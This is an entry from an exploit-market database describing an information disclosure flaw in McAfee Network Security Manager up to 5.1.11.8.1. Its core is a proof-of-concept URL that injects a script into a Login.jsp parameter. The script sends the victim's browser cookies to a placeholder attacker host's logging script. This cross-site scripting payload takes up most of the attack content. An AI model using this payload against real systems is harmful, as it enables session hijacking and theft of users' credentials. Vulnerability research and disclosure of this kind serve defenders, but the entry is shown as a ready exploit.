[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

McAfee Network Security Manager <= 5.1.11.8.1 Information Disclosure

Author
Daniel King
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9979
Category
web applications
Date add
12-11-2009
Platform
jsp
==================================================================================
McAfee Network Security Manager <= 5.1.11.8.1 Information Disclosure Vulnerability
==================================================================================

To exploit this issue, an attacker must entice an unsuspecting user to view a malicious webpage.
 
The following proof of concept uses a cross-site scripting attack to leverage this issue:
 
https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb1
4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57



#  0day.today [2024-11-15]  #